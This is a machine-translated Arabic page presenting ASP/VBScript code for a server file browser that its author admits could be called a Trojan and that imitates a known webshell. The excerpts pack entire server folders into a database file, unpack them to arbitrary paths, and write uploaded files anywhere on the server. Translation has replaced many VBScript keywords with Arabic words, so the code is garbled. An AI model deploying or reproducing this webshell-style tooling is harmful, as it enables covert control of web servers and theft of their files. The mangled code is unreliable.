هذا هو متصفح ملفات FSO مكتوب باستخدام كائنات مجموعة FSO (إذا كنت تصر على القول بأنه حصان طروادة، فليس لدي أي اعتراض). من الناحية الوظيفية، فهو يقلد تصميم "Top Trojan of the Ocean"، ولكن تمت إعادة كتابة الكود بالكامل استخدام مكونات مثل Shell.Application التي يمكن أن تتسبب بسهولة في القتل العرضي بواسطة برامج مكافحة الفيروسات. هناك العديد من الأدوات المشابهة على الإنترنت، وقيمة استخدام هذه الأداة ليست كبيرة جدًا، ولكن العديد من الأكواد الموجودة بها تعتبر مكتوبة بشكل جيد.
تشمل الميزات الرئيسية ما يلي: عرض معلومات القرص، وتصفح ملفات القرص، والعمل بطريقة مشابهة لمستكشف Windows، مثل إنشاء الملفات النصية وحذفها وإعادة تسميتها ونسخها ونقلها وعمليات تحرير الملفات النصية الأساسية الأخرى.
يعمل تنزيل ملف وضع الدفق على تبسيط وتحسين تعبئة/تفريغ ملف التحميل الخالي من المكونات. يمكن تعبئة/تفريغ المجلد بالكامل.
مقتطف الكود:
1. جزء تعبئة/تفريغ الملف
-
-
- الحزمة الفرعية ( ByVal FPath، ByVal sDbPath)
- Server.ScriptTimeOut=900
- خافت DbPath
- إذا كان اليمين (sDbPath,4)= ".mdb" ثم
- DbPath=sDbPath
- آخر
- DbPath=sDbPath ".mdb"
- نهاية لو
- إذا كان oFso.FolderExists(DbPath) إذن
- EchoBack "لا يمكن إنشاء ملف قاعدة البيانات!" &Replace(DbPath, ""، \")
- مخرج الفرعية
- نهاية لو
- إذا كان oFso.FileExists(DbPath) إذن
- oFso.DeleteFile DbPath
- نهاية لو
- إذا IsFolder(FPath) ثم
- RootPath=GetParentFolder(FPath)
- إذا كان Right(RootPath,1)<> "" ثم RootPath=RootPath&" "
- آخر
- EchoBack "الرجاء إدخال مسار المجلد!"
- مخرج الفرعية
- نهاية لو
- خافت oCatalog، connStr، DataName
- تعيين conn=Server.CreateObject( "ADODB.Connection" )
- قم بتعيين oStream=Server.CreateObject( "ADODB.Stream" )
- قم بتعيين oCatalog=Server.CreateObject( "ADOX.Catalog" )
- تعيين rs=Server.CreateObject( "ADODB.RecordSet" )
- على خطأ سيرة ذاتية التالي
- connStr = "Provider=Microsoft.Jet.OLEDB.4.0; مصدر البيانات =" & DbPath
- oCatalog.Create connStr
- إذا أخطأت ثم
- EchoBack "لا يمكن إنشاء ملف قاعدة البيانات!" &Replace(DbPath, ""، \")
- مخرج الفرعية
- نهاية لو
- تعيين oCatalog = لا شيء
- conn.Open connStr
- conn.Execute( "إنشاء ملفات جدول (ID int IDENTITY(0,1) PRIMARY KEY CLUSTERED، FilePath VarChar، FileData Image)" )
- oStream.Open
- oStream.Type=1
- rs.Open "الملفات" ، conn،3،3
- DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name, "." )-1)
- NoPackFiles=Replace(NoPackFiles, "<$datafile>" ,DataName)
- قائمة الملفات الفاشلة = ""
- PackFolderFPath
- إذا FailFilelist = "" ثم
- EchoClose "تم تغليف المجلد بنجاح!"
- آخر
- Response.Write "<link rel= stylesheet type= text/css href= ?page=css >"
- Response.Write "<Script Language= JavaScript >تنبيه (اكتملت تعبئة المجلد!nالتالي هو قائمة بالملفات التي فشلت في حزمها: );</Script>"
- Response.Write "<body>" &Replace(FailFilelist, "|" , "<br>" ) "</body>"
- نهاية لو
- oStream.Close
- إغلاق
- conn.Close
- نهاية الفرعية
-
- مجلد الحزمة الفرعية (مسار المجلد)
- لو ليس IsFolder(FolderPath) إذن مخرج الفرعية
- خافت oFolder، sFile، sFolder
- تعيين oFolder=oFso.GetFolder(FolderPath)
- ل كل ملف موجود في oFolder.Files
- إذا كان InStr(NoPackFiles, "|" &sFile.Name "|" )<1 إذن
- PackFile sFile.Path
- نهاية لو
- التالي
- تعيين sFile = لا شيء
- ل كل مجلد في oFolder.SubFolders
- PackFolder sFolder.Path
- التالي
- تعيين مجلد = لا شيء
- نهاية الفرعية
-
- ملف الحزمة الفرعية (مسار الملف)
- خافت RelPath
- RelPath=Replace(FilePath,RootPath, "" )
-
- على خطأ سيرة ذاتية التالي
- خطأ.واضح
- خطأ = خطأ
- oStream.LoadFromFile FilePath
- rs.AddNew
- rs( "FilePath" )=RelPath
- rs( "FileData" )=oStream.Read()
- تحديث
- إذا أخطأت ثم
-
- FailFilelist=FailFilelist&FilePath "|"
- نهاية لو
- نهاية الفرعية
-
-
- فك الحزمة الفرعية (vFolderPath،DbPath)
- Server.ScriptTimeOut=900
- خافت FilePath،FolderPath،sFolderPath
- FolderPath=vFolderPath
- FolderPath=تريم(FolderPath)
- إذا كان منتصف (FolderPath,2,1)<> ": ثم
- EchoBack "تنسيق المسار غير صحيح ولا يمكن إنشاء الدليل!"
- مخرج الفرعية
- نهاية لو
- إذا كان اليمين (FolderPath,1)= "" ثم FolderPath=Left(FolderPath,Len(FolderPath)-1)
- ديم كونستر
- تعيين conn=Server.CreateObject( "ADODB.Connection" )
- قم بتعيين oStream=Server.CreateObject( "ADODB.Stream" )
- تعيين rs=Server.CreateObject( "ADODB.RecordSet" )
- connStr = "Provider=Microsoft.Jet.OLEDB.4.0; مصدر البيانات =" & DbPath
- على خطأ سيرة ذاتية التالي
- خطأ = خطأ
- conn.Open connStr
- إذا أخطأت ثم
- EchoBack "خطأ في فتح قاعدة البيانات!"
- مخرج الفرعية
- نهاية لو
- خطأ = خطأ
- oStream.Open
- oStream.Type=1
- rs.Open "الملفات" ,conn,1,1
- قائمة الفشل = ""
- يفعل حتى روبية.EOF
- خطأ.واضح
- خطأ = خطأ
- FilePath=FolderPath ""&rs(" FilePath")
- FilePath=Replace(FilePath, "\"، " ")
- sFolderPath=Left(FilePath,InStrRev(FilePath, "" ))
- لو ليس oFso.FolderExists(sFolderPath) إذن
- إنشاء مجلد (sFolderPath)
- نهاية لو
- oStream.SetEos()
- oStream.Write rs( "بيانات الملف" )
- oStream.SaveToFile FilePath،2
- إذا أخطأت ثم
- FailFilelist=FailFilelist&rs( "FilePath" ).Value "|"
- نهاية لو
- rs.MoveNext
- حلقة
- إغلاق
- تعيين RS = لا شيء
- conn.Close
- تعيين كون = لا شيء
- اضبط oStream = لا شيء
- إذا FailFilelist = "" ثم
- EchoClose "تم تفريغ الملف بنجاح!"
- آخر
- Response.Write "<link rel= stylesheet type= text/css href= ?page=css >"
- Response.Write "<Script Language= JavaScript >تنبيه (اكتملت عملية تعبئة المجلد!nالتالي هو قائمة بالملفات التي فشلت في تجميعها، يرجى التحقق منها)؛</Script>"
- Response.Write "<body>" &Replace(FailFilelist, "|" , "<br>" ) "</body>"
- نهاية لو
- نهاية الفرعية
-
2. جزء تحميل الملف (ملف واحد):
- Sub Saveupload ( ByVal FolderName)
- لو ليس IsFolder(FolderName) ثم
- EchoClose "لم يتم تحديد مجلد تحميل!"
- مخرج الفرعية
- نهاية لو
- مسار خافت ،
- مسار IsOverWrite = اسم المجلد
- إذا كان Right(Path,1)<> "" ثم Path=Path&" "
- FileName=Replace(Request( "filename" ), ""، " ")
- إذا كان Len(FileName)<1 ثم
- EchoBack "الرجاء تحديد الملف وإدخال اسم الملف!"
- مخرج الفرعية
- نهاية إذا كان
- المسار = المسار
- إذا كان LCase(Request( "overwrite" ))= "true" ثم
- IsOverWrite = صحيح
- وإلا
- IsOverWrite = خطأ
- نهاية لو
- على خطأ سيرة ذاتية التالي
- استدعاء MyUpload(المسار،IsOverWrite)
- إذا حدث خطأ ، فإن
- EchoBack "فشل تحميل الملف! (قد يكون الملف موجودًا بالفعل)"
- آخر
- EchoClose "تم تحميل الملف بنجاح!n" & Replace(fileName, "", " \")
- نهاية إذا
- النهاية
- الفرعي
- Sub MyUpload(FilePath,IsOverWrite)
- Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf
- RequestSize=Request.TotalBytes
- إذا كان حجم الطلب <1 ثم مخرج الفرعية
- قم بتعيين oStream=Server.CreateObject( "ADODB.Stream" )
- قم بتعيين tStream=Server.CreateObject( "ADODB.Stream" )
- مع oStream
- .Type=1
- .Mode=3
- .Open
- .Write=Request.BinaryRead(RequestSize)
- .Position=0
- sData=.Read
- bCrLf=ChrB(13)&ChrB(10)
- iSpaceEnd=InStrB(sData,bCrLf)-1
- sSpace =LeftB(sData,iSpaceEnd)
- iInfoStart=iSpaceEnd+3
- iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1
- iFileStart=iInfoEnd+5
- iFileEnd=InStrB(iFileStart,sData,sSpace)-3
- sData= ""
- iFileSize=iFileEnd-iFileStart+1
- tStream.Type=1
- tStream.Mode=3
- tStream.Open
- .Position=iFileStart-1
- .CopyTo tStream,iFileSize
- إذا IsOverWrite ثم
- tStream.SaveToFile FilePath،2
- آخر
- tStream.SaveToFile FilePath
- نهاية إذا كان
- tStream.Close
- .Close
- نهاية مع
- SettStream = لا شيء
- اضبط oStream= لا شيء
- ينتهي الفرعية